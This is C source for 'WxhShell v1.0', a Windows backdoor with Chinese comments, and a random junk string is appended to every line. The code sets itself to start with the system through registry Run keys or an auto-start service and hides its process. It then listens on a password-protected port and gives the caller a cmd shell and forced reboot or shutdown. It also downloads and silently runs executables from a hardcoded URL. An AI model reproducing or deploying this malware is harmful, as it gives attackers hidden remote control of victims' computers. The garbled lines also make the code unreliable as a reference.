    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); J{uqbrJICr  
    if(Boot(SHUTDOWN)) "el3mloR 8  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); %kBrxf  
    else {  +@Kq  
    closesocket(wsh); jw2hB[WR  
    ExitThread(0); S|RUc}(  
    } Jn0L_@  
    break; SV2\vby}C  
    } ~ebm,3?  
  // 获取shell 1RQM-0W,  
  case 's': {  ,8p-EH  
    CmdShell(wsh); S^e e<%-  
    closesocket(wsh); 1@]gBv<  
    ExitThread(0); 5X-d,8{w _  
    break; H0lAu]~R_W  
  } 7&|&y SCu  
  // 退出 d5LL( "  
  case 'x': { [DSzhi]  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); J72kjj&C  
    CloseIt(wsh); ]CnT4[f!  
    break; _B==S4^/yU  
    } [QT H~  
  // 离开 UUgc>   
  case 'q': { ^j_t{h)W(0  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); PTA_erU  
    closesocket(wsh); vN)l3  
    WSACleanup(); Kzfy0LWM  
    exit(1);  #|l#  
    break; g31\7\)Ir  
        } )Oj%3  
  } +r =p ,leb  
  } Z oKXao  
lS`VJA6l.  
  // 提示信息 x5W@zqj  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); RjR  
} 6k\8ulHw  
  } 7LW %:0  
$xj>j  
  return; euh rEjwkH  
} \"=@uqar2  
`Yu4h+T  
// shell模块句柄 8bEii1EM  
int CmdShell(SOCKET sock) qZ+^ND(I  
{ W(*?rA-PP  
STARTUPINFO si; Y5Z<uD  
ZeroMemory(&si,sizeof(si)); z6Yx )qBE<  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; M*jn8OE  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; @z.HyQ_v  
PROCESS_INFORMATION ProcessInfo;  A,|lDsvM  
char cmdline[]="cmd"; ->YF</I  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); EtvYIfemr  
  return 0; ^pa -2Ao6  
} K06&.>v_  
PHn3f;I  
// 自身启动模式 o{ \r1<D  
int StartFromService(void) KA0_uty/T  
{ uQg&A`4  
typedef struct cLnvb!g'#  
{ IY9##&c3>  
  DWORD ExitStatus; ZNbb8v  
  DWORD PebBaseAddress; 4^BHJOvs  
  DWORD AffinityMask; NA8$G|.?  
  DWORD BasePriority; wn{DY v7B  
  ULONG UniqueProcessId; 'St\$X  
  ULONG InheritedFromUniqueProcessId; m&r?z%  
}   PROCESS_BASIC_INFORMATION; J{5&L &4  
GCA?sFwo>  
PROCNTQSIP NtQueryInformationProcess; |/35c0IM  
y 4jelg  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; S A16Ng  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Z\M8DZW8Y  
0NG<uZ  
  HANDLE             hProcess; l+8G6?@]>  
  PROCESS_BASIC_INFORMATION pbi; !|S{e^WhbU  
KF`@o@,  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); zz+[]G+"2m  
  if(NULL == hInst ) return 0; "@)9$-g  
3DO ^vV  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Bl)DuCV  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); }xM >F%  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); p8MPn>h<  
R~DZY{u+/$  
  if (!NtQueryInformationProcess) return 0; 7vs>PV  
R k).D 6  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 9AdA|/WV  
  if(!hProcess) return 0; g>O O '}lF  
o}K!p %5_  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; d$`NApr  
ueazAsk3g  
  CloseHandle(hProcess); RZ&T\;m,7  
v81H!c.*  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); n$T'gX#5  
if(hProcess==NULL) return 0; <U() *0  
CwVORf,uA  
HMODULE hMod; 42: 6=\  
char procName[255]; ;4 ON  
unsigned long cbNeeded; gNG_,+=!  
]RJcY1  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); m0 k~8^L@f  
fgSe]q//  
  CloseHandle(hProcess); _7"G&nZ0  
Pb^Mc <j  
if(strstr(procName,"services")) return 1; // 以服务启动 ("L&iu\`@  
Bzw!,(u/ "  
  return 0; // 注册表启动 4U;6 2 jq  
} k/ 9S  
^B|Q&1  
// 主模块 +MfdZD  
int StartWxhshell(LPSTR lpCmdLine) Sc zYL?w^  
{ GwoN=  
  SOCKET wsl; le-Q&*  
BOOL val=TRUE; ,D`iV| (  
  int port=0; IPhV|7  
  struct sockaddr_in door; 5h2@n0  
_#/zH~V%  
  if(wscfg.ws_autoins) Install(); 2Y@:Vgg  
gOA  
port=atoi(lpCmdLine); RMx$]wn_  
jLs-v  
if(port<=0) port=wscfg.ws_port; ^sp+ sr :  
M6P`~emX2  
  WSADATA data; @;we4G5  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Sp=6%3fZ]m  
[l2ds:  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   gz?]]-H  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 1 f;k)x  
  door.sin_family = AF_INET; E$'Zd,|f=  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); Sb&[V>!2^  
  door.sin_port = htons(port); 5:ZM-kZT  
']hB_ 4v  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) {  Wb/q&o  
closesocket(wsl); Ty21-0 F  
return 1; H7KcPN(0  
} jz%%r Q(  
c.u$NnDU6  
  if(listen(wsl,2) == INVALID_SOCKET) { wYrb P11  
closesocket(wsl); -4&SYCw  
return 1; f"j"ZM{~U  
} :i&ZMH,O  
  Wxhshell(wsl); jcWv&u|  
  WSACleanup(); w{t2Oo6Q0+  
MW^,l=kqW)  
return 0; ZV`D} CQ  
%C!u/:.Kv  
} !?o661+b  
1{8SKfMdP  
// 以NT服务方式启动 ; /3 <  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) i 5"g?Wa2N  
{ JwNG`M Gc  
DWORD   status = 0; 4{h?!Z*  
  DWORD   specificError = 0xfffffff; <303PPX^6  
s 9,?"\0Zm  
  serviceStatus.dwServiceType     = SERVICE_WIN32; @"9^U_Qf1z  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; Efm37Kv5l  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; $W 46!U3  
  serviceStatus.dwWin32ExitCode     = 0; J2BW>T!tuw  
  serviceStatus.dwServiceSpecificExitCode = 0; MjAF&bD^  
  serviceStatus.dwCheckPoint       = 0; 0pWF\<IZ  
  serviceStatus.dwWaitHint       = 0; lH6zZ8rh  
@tY)s  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ))" *[  
  if (hServiceStatusHandle==0) return; b{C3r3B8  
5 JE8/CbH  
status = GetLastError(); R$<LEwjSw  
  if (status!=NO_ERROR) 8,BNs5  
{ _yq"F#,*  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; J 00%,Ju_  
    serviceStatus.dwCheckPoint       = 0; >;N0( xB  
    serviceStatus.dwWaitHint       = 0; 3le/(=&1  
    serviceStatus.dwWin32ExitCode     = status; ,!BiB*  
    serviceStatus.dwServiceSpecificExitCode = specificError; h\k!X/  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); GoI3hp(  
    return; ]bG8DEwD  
  } ? 8g[0/  
T#.5F7$u  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; l  I&%^>  
  serviceStatus.dwCheckPoint       = 0; ;F@N2j#  
  serviceStatus.dwWaitHint       = 0; uUUj?%  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); k#8,:B2  
} 6% @@~"  
}+K SZ,  
// 处理NT服务事件,比如:启动、停止 n{dl- P  
VOID WINAPI NTServiceHandler(DWORD fdwControl) [-)N}rL>  
{ (Yz EsY  
switch(fdwControl) `p@YV(  
{ ~yH<,e  
case SERVICE_CONTROL_STOP: *~F\k):>  
  serviceStatus.dwWin32ExitCode = 0; c}a.  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 3%?01$k  
  serviceStatus.dwCheckPoint   = 0; %(GWR@mfC  
  serviceStatus.dwWaitHint     = 0; ?\dY!  
  { ?lJm}0>  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); KLW#+vZ  
  } 7q>WO  
  return; HhN;&67~Z  
case SERVICE_CONTROL_PAUSE: .'md `@t  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; x:W nF62  
  break; kw8?:: <  
case SERVICE_CONTROL_CONTINUE: 6b9 oSY-8  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; `+[e]dH  
  break; -iu7/4!j  
case SERVICE_CONTROL_INTERROGATE: ^YddVp  
  break; A"t~ )  
}; CA7ZoMB#  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); xEN""*Q  
} &ah!g!o3  
;/$=!9^sZ  
// 标准应用程序主函数 D2o,K&V  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 3fJ GJW!zu  
{ HS"E3s8  
d'~ kf#  
// 获取操作系统版本 0z@ KkU{Z  
OsIsNt=GetOsVer(); a %"mgCB  
GetModuleFileName(NULL,ExeFile,MAX_PATH); '!*,JG5_  
+H5= zf2  
  // 从命令行安装 gWm -}Nb4  
  if(strpbrk(lpCmdLine,"iI")) Install(); i1]*5;q  
$Q,Fr; B  
  // 下载执行文件 \2(Uqf#_  
if(wscfg.ws_downexe) { `9a %vN  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Fp>iwdjFg  
  WinExec(wscfg.ws_filenam,SW_HIDE); h }&WBN  
} aZt5/|B  
8RJXY:%  
if(!OsIsNt) { 1 "'t5?XW  
// 如果时win9x,隐藏进程并且设置为注册表启动 t|Cp<k]B  
HideProc(); uGIA4CUm  
StartWxhshell(lpCmdLine); 1!,xB]v1Ri  
} ~1&%,$fZ  
else P?GHcq$\  
  if(StartFromService()) {&,9Zy]"S  
  // 以服务方式启动 m6J7)Wp  
  StartServiceCtrlDispatcher(DispatchTable); 7%C6hEP/*W  
else <aJdm!6  
  // 普通方式启动 T4,dhS|  
  StartWxhshell(lpCmdLine); 0 1U/{D6D  
^&oa\7<'  
return 0; \}SA{)  
} 8)IpQG  
Z?k4Kb  
H!Gsu$C  
xc[Lb aBG  
=========================================== pPt7M'uL"  
%n-:mSus  
]-d:wEj  
?N2/;u>  
%~ uMa  
n82N@z<8]  
" 8Fy$'Zx'  
8&g|iG  
#include <stdio.h> 9%e& Z'l  
#include <string.h> >S4klW=*I  
#include <windows.h> %Q:i6 ~  
#include <winsock2.h> X;Tayb  
#include <winsvc.h> N S*e<9  
#include <urlmon.h> mJT<  
?bwF$Ku  
#pragma comment (lib, "Ws2_32.lib") O,(p><k$/  
#pragma comment (lib, "urlmon.lib") Ox;q +5  
%[(DFutJY+  
#define MAX_USER   100 // 最大客户端连接数 BX :77?9,+  
#define BUF_SOCK   200 // sock buffer aBk~/  
#define KEY_BUFF   255 // 输入 buffer o@TxDG  
H\7#$ HB  
#define REBOOT     0   // 重启 P@P(&{@  
#define SHUTDOWN   1   // 关机 et|QW;*L  
Fy!u xT-\  
#define DEF_PORT   5000 // 监听端口 Ws'OJ1  
'EFSr!+  
#define REG_LEN     16   // 注册表键长度 FSZQ2*n5  
#define SVC_LEN     80   // NT服务名长度 7Io]2)V  
x ;V7D5 q  
// 从dll定义API fx@Hd!nO~"  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); P$z8TDCH  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 6'6 "Ogu%'  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 5~Vra@iab:  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); `p`)D 6  
| k"?I  
// wxhshell配置信息 d&K2\n  
struct WSCFG { )SG+9!AbMZ  
  int ws_port;         // 监听端口 @T53%v<5  
  char ws_passstr[REG_LEN]; // 口令 b~?FV>gl  
  int ws_autoins;       // 安装标记, 1=yes 0=no u/?s_OR  
  char ws_regname[REG_LEN]; // 注册表键名 KLv`Xg\  
  char ws_svcname[REG_LEN]; // 服务名 G0p|44_~t  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 &9b sTm  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 !~5;Jb>s[/  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 HMsTm}d  
int ws_downexe;       // 下载执行标记, 1=yes 0=no `Oz c L  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Dohq@+] O  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 8 1;QF_C  
8z&7wO  
}; b e[KNrO  
~_C[~-  
// default Wxhshell configuration S#+Dfa`8X  
struct WSCFG wscfg={DEF_PORT, O>e2MT|#k  
    "xuhuanlingzhe", o.yuz+  
    1, *:r@-=M3=  
    "Wxhshell", ;WX)g&19x  
    "Wxhshell", L{fKZ  
            "WxhShell Service", r )8[LN-  
    "Wrsky Windows CmdShell Service", `I+G7K K  
    "Please Input Your Password: ", 3=w$1.B d  
  1, uM"G)$I\  
  "http://www.wrsky.com/wxhshell.exe", s5 ? 1w   
  "Wxhshell.exe" iB#xUSkS  
    }; dL%?k@R  
R$( FrbC  
// 消息定义模块 o33 wePx,  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; emp*j@9  
char *msg_ws_prompt="\n\r? for help\n\r#>"; a4HUP*  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; H^ _[IkuA%  
char *msg_ws_ext="\n\rExit."; v%O KOrJ  
char *msg_ws_end="\n\rQuit."; _:oB#-0  
char *msg_ws_boot="\n\rReboot..."; hKP7p   
char *msg_ws_poff="\n\rShutdown..."; w?^qAj(*d  
char *msg_ws_down="\n\rSave to "; 6t9Q,+nJ  
%00KOM:  
char *msg_ws_err="\n\rErr!"; * ^R?*vNs  
char *msg_ws_ok="\n\rOK!"; -r%4,4  
c@d[HstBJ  
char ExeFile[MAX_PATH]; 1fBj21zG  
int nUser = 0; 6Yw;@w\  
HANDLE handles[MAX_USER]; cVjs-Xf7D%  
int OsIsNt; FncK#hZ.  
*?'nA{a)E  
SERVICE_STATUS       serviceStatus; A&%vog]O  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 94bmK V_  
N"d M+  
// 函数声明 0BF'@r";  
int Install(void); bt3v`q+V  
int Uninstall(void); k}T#-Gb  
int DownloadFile(char *sURL, SOCKET wsh); 1} 1.5[4d  
int Boot(int flag); W]E6<y'  
void HideProc(void); ,B|~V 3)(  
int GetOsVer(void); 7x8/Vz@\  
int Wxhshell(SOCKET wsl); Cf@~W)K  
void TalkWithClient(void *cs); Le#>uWM  
int CmdShell(SOCKET sock); 9 cU]@j}2  
int StartFromService(void); ?wzE+p-  
int StartWxhshell(LPSTR lpCmdLine); )}QtK+Rq  
x6Q,$B  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); r;}%} /IX  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); LIfQh  
Ne7HPSWiOP  
// 数据结构和表定义 =7{n 2  
SERVICE_TABLE_ENTRY DispatchTable[] = }7p`8?  
{ v x qsK  
{wscfg.ws_svcname, NTServiceMain}, eXo7_#  
{NULL, NULL} d:08@~#  
}; Zpfsh2`  
fFu+P<?"  
// 自我安装 w1q-bIU  
int Install(void) VJW%y)_[  
{ ug]WIG7 S  
  char svExeFile[MAX_PATH]; I8*_\Ez  
  HKEY key; t[HfaW1W  
  strcpy(svExeFile,ExeFile); fBtTJ+51}  
vv0A5p8H  
// 如果是win9x系统,修改注册表设为自启动 o+{]&V->gN  
if(!OsIsNt) { a<%Ivqni  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { X@l>mAk  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 9H^$cM9C  
  RegCloseKey(key); MTm}qx@L  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { a3t[Tk;  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); P)7:G?OTx  
  RegCloseKey(key); \@")2o+  
  return 0; )anprhc  
    }  bT(}=j  
  } cJ[ gCS  
} dk<) \C"  
else { W=zHD 9  
AQAZ+g(IK  
// 如果是NT以上系统,安装为系统服务 v|DgRPY  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); y8oqCe)  
if (schSCManager!=0) zfS0M  
{ N]yh8"7X  
  SC_HANDLE schService = CreateService  ! @EZ  
  ( &y\7pAT\  
  schSCManager, dM n0nc+  
  wscfg.ws_svcname, 9j'(T:Zs  
  wscfg.ws_svcdisp, D(bQFRBY6"  
  SERVICE_ALL_ACCESS, B?bdHO:E~  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , :SBB3G)|  
  SERVICE_AUTO_START, h = <x%sie  
  SERVICE_ERROR_NORMAL, ,x (?7ZW>  
  svExeFile, W(~7e?fO  
  NULL, C/34K(  
  NULL, . W ~&d_n  
  NULL, Z=c&</9e  
  NULL, ),DLrGOl  
  NULL ~`Uil=  
  ); =;HC7TUM&  
  if (schService!=0) Ql2zC9C  
  { [g<rzhC~=  
  CloseServiceHandle(schService); BqoGHg4iq  
  CloseServiceHandle(schSCManager); }:QQ{h_  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); B!J~ t8  
  strcat(svExeFile,wscfg.ws_svcname); 3^!Y9$y1  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { tk]>\}%  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); %%uvia=e  
  RegCloseKey(key); Veeuw  
  return 0;  m$XMq  
    } wk+| }s  
  } >#u9W'@|  
  CloseServiceHandle(schSCManager); wqx9  
} W}6OMAbsE;  
} (^!$m7  
E\/J& .  
return 1; OSu/ !Iv\  
} G;jX@XqZ  
;T-`~  
// 自我卸载 A,PF#G(  
int Uninstall(void) TUy 25E  
{ 4,g[g#g<q  
  HKEY key; bd'io O  
1n3XB+*  
if(!OsIsNt) { g"}j  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 9-ei#|Vnt[  
  RegDeleteValue(key,wscfg.ws_regname); c_~tCKAZ   
  RegCloseKey(key); kleE\ 8_  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ) dB?Ep|  
  RegDeleteValue(key,wscfg.ws_regname); bukdyo;l  
  RegCloseKey(key); {JGXdp:SB  
  return 0; jjJvyZi~J  
  } UlNx5l+k  
} 7!;48\O]w  
} i]$/& /  
else { u{J\X$]  
zg}#X6\G<_  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); v#^_|  
if (schSCManager!=0) S UB rFsA  
{ y8.3tp  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); k-jlYHsA  
  if (schService!=0) &P pb2  
  { *8%nbR  
  if(DeleteService(schService)!=0) { ^1w<wB\B  
  CloseServiceHandle(schService); )x& 4 Q=  
  CloseServiceHandle(schSCManager); xofxE4.  
  return 0; pr w% )#,  
  } HrK7qLw7  
  CloseServiceHandle(schService); +~n"@ /  
  } /ka "YU  
  CloseServiceHandle(schSCManager); r?%,#1|$$  
} vp|.x |@  
} +*`>7m<^  
k*u4N  
return 1; M+l~^E0Wj  
} P[K42 mm  
-IE=?23Do?  
// 从指定url下载文件 "2_nN]%u-  
int DownloadFile(char *sURL, SOCKET wsh) %|(Cb!ySX  
{ =38c}(  
  HRESULT hr; qZ<|A%WQ  
char seps[]= "/"; a/Ik^:>m  
char *token; Nm{J=`  
char *file; -Pp =)_O  
char myURL[MAX_PATH]; ecdM+kP  
char myFILE[MAX_PATH]; &=[N{N?(  
U6IvN@ g  
strcpy(myURL,sURL); [M#I Nm}  
  token=strtok(myURL,seps); *|B5,Ey  
  while(token!=NULL) gR 76g4|=;  
  { dUc?>#TU  
    file=token; 3kJ7aBiR<  
  token=strtok(NULL,seps); lz:+y/+1  
  }  __Egr@  
YgLHp/  
GetCurrentDirectory(MAX_PATH,myFILE); GswV/V+u  
strcat(myFILE, "\\"); R+<M"LriR&  
strcat(myFILE, file); =<.h.n  
  send(wsh,myFILE,strlen(myFILE),0); j"Z9}F@  
send(wsh,"...",3,0); '>Uip+'  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Hdda/?{b  
  if(hr==S_OK) 9jJ:T$}  
return 0;  K)P].htw  
else F7&Oc)f"B  
return 1; W61nJ7@  
zwgO|Qg;  
} ;\54(x}|K  
z)fg>?AGr  
// 系统电源模块 [&5%$ T  
int Boot(int flag) {(5M)|>  
{ RD6`b_]o  
  HANDLE hToken; 83pXj=k<  
  TOKEN_PRIVILEGES tkp; |IZFWZd  
rodr@  
  if(OsIsNt) { #@Rtb\9  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); C<E;f]d  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 55V&[>|K5  
    tkp.PrivilegeCount = 1; +kM*BCPYE  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; OE(!^"5?[  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ."h>I @MH  
if(flag==REBOOT) { `{+aJ0<S  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) >U6 2vX"  
  return 0; X8~gLdv8  
} I,7n-G_'  
else { oLc  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) v"V?  
  return 0; p K hV<MFB  
} 9;L50q>s  
  } NaC}KI`  
  else { %-O[%Dy  
if(flag==REBOOT) { psM&r  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ,K8(D<{  
  return 0; =P`l+k3  
} 9._Osbp3P  
else { WoD Qg64  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ^ Iy'<J  
  return 0; E-b3#\^:  
} &-(p~[|  
} 4^{~MgQWK+  
GcHZ&m4  
return 1; WXX08"  
} *6QmYq6c<  
c n^z=?  
// win9x进程隐藏模块 o0FVVSl  
void HideProc(void) u;H5p\zAzz  
{ 6#(rWW "_  
,H:{twc   
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); &)F# cVB  
  if ( hKernel != NULL ) jbs)]fqC;  
  { OO-b*\QW  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ;0Mg\~T~'  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); > m##JzWLr  
    FreeLibrary(hKernel); NSDls@m  
  } f4lC*nCN  
(db4.G+0  
return; 7gP8K`w?[  
} t(\P8J  
~,O}wT6q  
// 获取操作系统版本 &/{x7;e  
int GetOsVer(void) 1ZRSeh  
{ ['\ u?m  
  OSVERSIONINFO winfo; PP!} w  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); r  |JZU  
  GetVersionEx(&winfo); RtScv  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) BV512+M  
  return 1; b(?A^ a  
  else +I_p\/J?w/  
  return 0; x L]Z3"p%  
} I;3Uzv  
[LrA_N  
// 客户端句柄模块 L7 g4'  
int Wxhshell(SOCKET wsl) U=>4=gsG  
{ Z*M-PaU}  
  SOCKET wsh; sI#r3:?i  
  struct sockaddr_in client; TptXH?  
  DWORD myID; ="AJ &BqHd  
"|%'/p  
  while(nUser<MAX_USER) ;(~H(]D  
{ NiO|Aki{  
  int nSize=sizeof(client); vGI?X#w3  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); "M4 gl  
  if(wsh==INVALID_SOCKET) return 1; EP}NT)z,{  
# `b5kqQm  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); n ;0x\Q|S  
if(handles[nUser]==0) z!/ MBM  
  closesocket(wsh); drEND`,@6|  
else 4Q5 c'  
  nUser++; =~F.7wq*^  
  } Rln JlY/  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); [I4&E >  
.m \y6  
  return 0; m9m]q&hx  
} [m{uJ dj\  
kKil] L  
// 关闭 socket " H; i Av  
void CloseIt(SOCKET wsh) +Rb0:r>kU  
{ aIW W[xZ  
closesocket(wsh); t}2$no?  
nUser--; 7(< z=F  
ExitThread(0); _ ZC[h~9H  
} a~"<lzu|$  
_M9-n  
// 客户端请求句柄 }~3 %KHT  
void TalkWithClient(void *cs) >5+]~[S  
{ s^Wh!:>r/  
~<&47'D  
  SOCKET wsh=(SOCKET)cs; ye-R  
  char pwd[SVC_LEN]; _Vf0MU;3f+  
  char cmd[KEY_BUFF]; 7n*[r*$  
char chr[1]; of>"qrdZ  
int i,j; RmcQGQ  
K^fH:pV  
  while (nUser < MAX_USER) { a>/cVu'kz  
XVNJ3/  
if(wscfg.ws_passstr) { GO=3<Q{;  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); )OgQ&,#  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); D?< R5zp  
  //ZeroMemory(pwd,KEY_BUFF); c DO<z  
      i=0; dLIZ)16&  
  while(i<SVC_LEN) { ~76qFZe-  
*g;4?_f  
  // 设置超时 0'O*Y ]h+  
  fd_set FdRead; .P>-Fh,_p  
  struct timeval TimeOut; K%/:V  
  FD_ZERO(&FdRead); 6fr@y=s2:  
  FD_SET(wsh,&FdRead); 'AjDB:Mt$  
  TimeOut.tv_sec=8; UM QsYD)  
  TimeOut.tv_usec=0; 56Gc[<nR  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); X9xXL%Q  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); BV`,~n:  
bcCCvV}6WZ  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); H^\2,x Z  
  pwd=chr[0]; sHi *\  
  if(chr[0]==0xd || chr[0]==0xa) { `OWw<6`k  
  pwd=0; U)g2 7*7  
  break; jQLiqi`  
  } %.+#e  
  i++; =fZMute  
    } >84:1 `  
P-c<[DSM'I  
  // 如果是非法用户,关闭 socket 3~&h9#7 Ke  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); :4, OA  
} DHnu F@M  
_[_mmf1;:'  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); @g~hYc  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); W nLMa|e  
bPHqZ*f  
while(1) { Z 71.*  
%x G3z7;  
  ZeroMemory(cmd,KEY_BUFF); :?.RZKXQF  
js#72T/_n  
      // 自动支持客户端 telnet标准   L&s|<<L  
  j=0; rS3* k3  
  while(j<KEY_BUFF) { 6 s$jt-bH  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); /y<nAGtD&  
  cmd[j]=chr[0]; K@UQ O  
  if(chr[0]==0xa || chr[0]==0xd) { TUaW'  
  cmd[j]=0; "X7;^yY  
  break; %Z#s9QC  
  } |#6))Dh  
  j++; $<N!2[I L  
    } _jr'A-M  
^Td_B03)  
  // 下载文件 OKH4n/pq  
  if(strstr(cmd,"http://")) { MPg"n-g*  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ao(lj  
  if(DownloadFile(cmd,wsh)) |{G GATni  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); YrWC\HR_  
  else jQc.@^#+x  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); c ii]-%J}c  
  } I3wv6xZ2  
  else { 2UF ,W]  
}j. [h;C6  
